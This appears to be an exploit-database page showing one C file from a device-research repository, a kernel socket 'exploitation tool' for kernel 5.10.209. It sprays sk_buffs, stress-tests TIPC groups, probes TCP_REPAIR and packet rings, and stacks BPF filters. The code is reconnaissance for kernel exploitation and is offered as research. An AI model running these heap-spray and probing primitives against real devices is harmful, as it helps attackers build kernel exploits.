Exploit database

GH-e6e5922ef9ac5cc7d4897803cb452516

zero2005x/rokid-rv101-research

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2026-43499

170 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files254
zero2005x/rokid-rv101-researchRevision c74832d113c5
Next files →

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

source_code/socket_exploit.c

C · 13,387 bytes
/*
 * sk_buff and Socket Option Exploitation Tool
 * Target: Kernel 5.10.209
 *
 * sk_buff is one of the most commonly used kernel structures
 * Socket options can trigger various allocations
 */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <fcntl.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <sys/un.h>
#include <netinet/in.h>
#include <netinet/tcp.h>
#include <arpa/inet.h>
#include <linux/netlink.h>
#include <linux/tipc.h>
#include <linux/filter.h>
#include <linux/if_packet.h>
#include <linux/if_ether.h>
#include <sys/syscall.h>
#include <sys/mman.h>

#ifndef SOL_PACKET
#define SOL_PACKET 263
#endif

#ifndef PACKET_RX_RING
#define PACKET_RX_RING 5
#endif

/* Socket buffer spray via sendmmsg */
void test_skb_spray()
{
    printf("\n=== sk_buff Spray Test ===\n");

    // Create UDP sockets and spray sk_buffs
    int socks[64];
    int created = 0;

    for (int i = 0; i < 64; i++)
    {
        socks[i] = socket(AF_INET, SOCK_DGRAM, 0);
        if (socks[i] >= 0)
        {
            // Increase buffer sizes to allocate more sk_buffs
            int bufsize = 65536;
            setsockopt(socks[i], SOL_SOCKET, SO_SNDBUF, &bufsize, sizeof(bufsize));
            setsockopt(socks[i], SOL_SOCKET, SO_RCVBUF, &bufsize, sizeof(bufsize));
            created++;
        }
    }
    printf("[+] Created %d UDP sockets with large buffers\n", created);

    // Bind to localhost and send to self
    struct sockaddr_in addr = {
        .sin_family = AF_INET,
        .sin_port = 0,
        .sin_addr.s_addr = htonl(INADDR_LOOPBACK),
    };

    for (int i = 0; i < 64; i++)
    {
        if (socks[i] >= 0)
        {
            bind(socks[i], (struct sockaddr *)&addr, sizeof(addr));
        }
    }

    // Send many small packets to create sk_buffs
    char data[256];
    memset(data, 'S', sizeof(data));

    struct sockaddr_in dst = {
        .sin_family = AF_INET,
        .sin_port = htons(12345),
        .sin_addr.s_addr = htonl(INADDR_LOOPBACK),
    };

    int sent = 0;
    for (int i = 0; i < 64; i++)
    {
        for (int j = 0; j < 100; j++)
        {
            if (sendto(socks[i], data, sizeof(data), MSG_DONTWAIT,
                       (struct sockaddr *)&dst, sizeof(dst)) > 0)
            {
                sent++;
            }
        }
    }
    printf("[+] Sent %d packets (sk_buffs allocated)\n", sent);

    // Cleanup
    for (int i = 0; i < 64; i++)
    {
        if (socks[i] >= 0)
            close(socks[i]);
    }
}

/* Unix domain socket OOB data test */
void test_unix_oob()
{
    printf("\n=== Unix Socket OOB Data Test ===\n");

    int sv[2];
    if (socketpair(AF_UNIX, SOCK_STREAM, 0, sv) < 0)
    {
        printf("[-] socketpair failed: %s\n", strerror(errno));
        return;
    }

    printf("[+] Created Unix socket pair\n");

    // Try OOB data
    char oob_data = 'X';
    int ret = send(sv[0], &oob_data, 1, MSG_OOB);
    if (ret > 0)
    {
        printf("[+] OOB send succeeded\n");
    }
    else
    {
        printf("[-] OOB send failed: %s\n", strerror(errno));
    }

    // Try to receive OOB
    char recv_oob;
    ret = recv(sv[1], &recv_oob, 1, MSG_OOB);
    if (ret > 0)
    {
        printf("[+] OOB recv succeeded: 0x%02x\n", recv_oob);
    }
    else
    {
        printf("[-] OOB recv failed: %s\n", strerror(errno));
    }

    close(sv[0]);
    close(sv[1]);
}

/* Netlink socket options fuzzing */
void test_netlink_sockopts()
{
    printf("\n=== Netlink Socket Options Test ===\n");

    int families[] = {NETLINK_ROUTE, NETLINK_NETFILTER, NETLINK_KOBJECT_UEVENT};
    char *family_names[] = {"ROUTE", "NETFILTER", "KOBJECT_UEVENT"};

    for (int f = 0; f < 3; f++)
    {
        int sock = socket(AF_NETLINK, SOCK_RAW, families[f]);
        if (sock < 0)
        {
            printf("[-] NETLINK_%s: failed to create\n", family_names[f]);
            continue;
        }
        printf("[+] NETLINK_%s: created\n", family_names[f]);

        // Try various socket options
        int optval;
        socklen_t optlen = sizeof(optval);

        // NETLINK_ADD_MEMBERSHIP
        int groups[] = {1, 2, 4, 8, 16, 32};
        for (int g = 0; g < 6; g++)
        {
            if (setsockopt(sock, SOL_NETLINK, NETLINK_ADD_MEMBERSHIP,
                           &groups[g], sizeof(groups[g])) == 0)
            {
                printf("    Joined group %d\n", groups[g]);
            }
        }

        // Try large buffer
        int bigbuf = 1024 * 1024;
        if (setsockopt(sock, SOL_SOCKET, SO_RCVBUF, &bigbuf, sizeof(bigbuf)) == 0)
        {
            printf("    Set large rcvbuf: %d\n", bigbuf);
        }

        close(sock);
    }
}

/* TCP socket state manipulation */
void test_tcp_state_manipulation()
{
    printf("\n=== TCP State Manipulation Test ===\n");

    int server = socket(AF_INET, SOCK_STREAM, 0);
    if (server < 0)
    {
        printf("[-] Server socket failed\n");
        return;
    }

    int reuse = 1;
    setsockopt(server, SOL_SOCKET, SO_REUSEADDR, &reuse, sizeof(reuse));

    struct sockaddr_in addr = {
        .sin_family = AF_INET,
        .sin_port = htons(44444),
        .sin_addr.s_addr = htonl(INADDR_LOOPBACK),
    };

    if (bind(server, (struct sockaddr *)&addr, sizeof(addr)) < 0)
    {
        printf("[-] Bind failed: %s\n", strerror(errno));
        close(server);
        return;
    }

    listen(server, 128);
    fcntl(server, F_SETFL, O_NONBLOCK);
    printf("[+] Server listening on port 44444\n");

    // Create many half-open connections
    int clients[64];
    int half_open = 0;

    for (int i = 0; i < 64; i++)
    {
        clients[i] = socket(AF_INET, SOCK_STREAM, 0);
        if (clients[i] < 0)
            continue;

        fcntl(clients[i], F_SETFL, O_NONBLOCK);

        // Set TCP_SYNCNT to reduce SYN retries
        int syncnt = 1;
        setsockopt(clients[i], IPPROTO_TCP, TCP_SYNCNT, &syncnt, sizeof(syncnt));

        // Initiate connection (will be in SYN_SENT)
        if (connect(clients[i], (struct sockaddr *)&addr, sizeof(addr)) < 0)
        {
            if (errno == EINPROGRESS)
            {
                half_open++;
            }
        }
    }
    printf("[+] Created %d half-open connections\n", half_open);

    // Accept all pending connections
    int accepted = 0;
    for (int i = 0; i < 64; i++)
    {
        int cli = accept(server, NULL, NULL);
        if (cli >= 0)
        {
            // Send some data
            char data[128] = "test";
            send(cli, data, sizeof(data), MSG_DONTWAIT);
            // Close immediately - creates TIME_WAIT or FIN_WAIT
            close(cli);
            accepted++;
        }
    }
    printf("[+] Accepted and closed %d connections\n", accepted);

    // Try TCP repair mode (needs CAP_NET_ADMIN)
    int repair = 1;
    if (setsockopt(clients[0], IPPROTO_TCP, TCP_REPAIR, &repair, sizeof(repair)) == 0)
    {
        printf("[!] TCP_REPAIR enabled - potential for exploitation\n");
    }
    else
    {
        printf("[-] TCP_REPAIR denied: %s\n", strerror(errno));
    }

    // Cleanup
    for (int i = 0; i < 64; i++)
    {
        if (clients[i] >= 0)
            close(clients[i]);
    }
    close(server);
}

/* Socket filter (BPF) attachment test */
void test_socket_filter()
{
    printf("\n=== Socket Filter (BPF) Attachment Test ===\n");

    int sock = socket(AF_INET, SOCK_DGRAM, 0);
    if (sock < 0)
    {
        printf("[-] Socket failed\n");
        return;
    }

    // Create a simple BPF filter: return 65535 (accept all)
    struct sock_filter filter[] = {
        {0x06, 0, 0, 0x0000ffff}, // ret 65535
    };

    struct sock_fprog prog = {
        .len = 1,
        .filter = filter,
    };

    if (setsockopt(sock, SOL_SOCKET, SO_ATTACH_FILTER, &prog, sizeof(prog)) == 0)
    {
        printf("[+] Socket filter attached\n");

        // Try to attach multiple filters
        for (int i = 0; i < 10; i++)
        {
            if (setsockopt(sock, SOL_SOCKET, SO_ATTACH_FILTER, &prog, sizeof(prog)) == 0)
            {
                printf("    Attached filter %d\n", i + 2);
            }
        }

        // Detach filter
        int dummy = 0;
        setsockopt(sock, SOL_SOCKET, SO_DETACH_FILTER, &dummy, sizeof(dummy));
    }
    else
    {
        printf("[-] Socket filter failed: %s\n", strerror(errno));
    }

    close(sock);
}

/* TIPC socket stress test with various options */
void test_tipc_stress()
{
    printf("\n=== TIPC Socket Stress Test ===\n");

    int socks[32];
    int created = 0;

    // Create various TIPC socket types
    int types[] = {SOCK_STREAM, SOCK_DGRAM, SOCK_SEQPACKET, SOCK_RDM};
    char *type_names[] = {"STREAM", "DGRAM", "SEQPACKET", "RDM"};

    for (int t = 0; t < 4; t++)
    {
        for (int i = 0; i < 8; i++)
        {
            int sock = socket(AF_TIPC, types[t], 0);
            if (sock >= 0)
            {
                socks[created++] = sock;

                // Set various options
                int importance = i % 4;
                setsockopt(sock, SOL_TIPC, 127, &importance, sizeof(importance)); // TIPC_IMPORTANCE

                int timeout = 100 + i * 10;
                setsockopt(sock, SOL_TIPC, 130, &timeout, sizeof(timeout)); // TIPC_CONN_TIMEOUT

                // Try droppable options
                int droppable = 1;
                setsockopt(sock, SOL_TIPC, 128, &droppable, sizeof(droppable)); // TIPC_SRC_DROPPABLE
                setsockopt(sock, SOL_TIPC, 129, &droppable, sizeof(droppable)); // TIPC_DEST_DROPPABLE
            }
        }
        printf("[+] Created %d %s sockets\n", created, type_names[t]);
    }

    // Rapid group operations across all RDM sockets
    struct tipc_group_req greq = {
        .type = 99999,
        .instance = 1,
        .scope = TIPC_NODE_SCOPE,
        .flags = 0x3, // TIPC_GROUP_LOOPBACK | TIPC_GROUP_MEMBER_EVTS
    };

    int ops = 0;
    for (int round = 0; round < 500; round++)
    {
        for (int i = 24; i < 32; i++)
        { // RDM sockets
            if (socks[i] >= 0)
            {
                greq.instance = round % 10 + 1;
                if (setsockopt(socks[i], SOL_TIPC, 135, &greq, sizeof(greq)) == 0)
                {
                    ops++;
                    // Send a message
                    char msg[64];
                    struct sockaddr_tipc dst = {
                        .family = AF_TIPC,
                        .addrtype = TIPC_SERVICE_ADDR,
                        .addr.name.name.type = 99999,
                        .addr.name.name.instance = round % 10 + 1,
                    };
                    sendto(socks[i], msg, sizeof(msg), MSG_DONTWAIT,
                           (struct sockaddr *)&dst, sizeof(dst));

                    setsockopt(socks[i], SOL_TIPC, 136, NULL, 0); // leave
                    ops++;
                }
            }
        }
    }
    printf("[+] Completed %d TIPC group operations\n", ops);

    // Cleanup
    for (int i = 0; i < created; i++)
    {
        close(socks[i]);
    }
}

/* Test packet sockets (requires CAP_NET_RAW or be in net_raw group) */
void test_packet_socket()
{
    printf("\n=== Packet Socket Test ===\n");

    int sock = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
    if (sock < 0)
    {
        printf("[-] Packet socket failed: %s\n", strerror(errno));
        return;
    }

    printf("[+] Packet socket created!\n");

    // This would be significant for packet-based exploits
    // Try ring buffer
    struct tpacket_req req = {
        .tp_block_size = 4096,
        .tp_block_nr = 4,
        .tp_frame_size = 2048,
        .tp_frame_nr = 8,
    };

    if (setsockopt(sock, SOL_PACKET, PACKET_RX_RING, &req, sizeof(req)) == 0)
    {
        printf("[+] Packet ring buffer set up\n");

        // Map the ring
        void *ring = mmap(NULL, req.tp_block_size * req.tp_block_nr,
                          PROT_READ | PROT_WRITE, MAP_SHARED, sock, 0);
        if (ring != MAP_FAILED)
        {
            printf("[+] Ring mapped at %p\n", ring);
            munmap(ring, req.tp_block_size * req.tp_block_nr);
        }
    }
    else
    {
        printf("[-] Ring buffer setup failed: %s\n", strerror(errno));
    }

    close(sock);
}

int main()
{
    printf("================================================\n");
    printf(" sk_buff and Socket Option Exploitation Tool\n");
    printf(" Target: Kernel 5.10.209\n");
    printf("================================================\n");

    test_skb_spray();
    test_unix_oob();
    test_netlink_sockopts();
    test_tcp_state_manipulation();
    test_socket_filter();
    test_tipc_stress();
    test_packet_socket();

    printf("\n================================================\n");
    printf(" Tests Complete - Check dmesg\n");
    printf("================================================\n");

    return 0;
}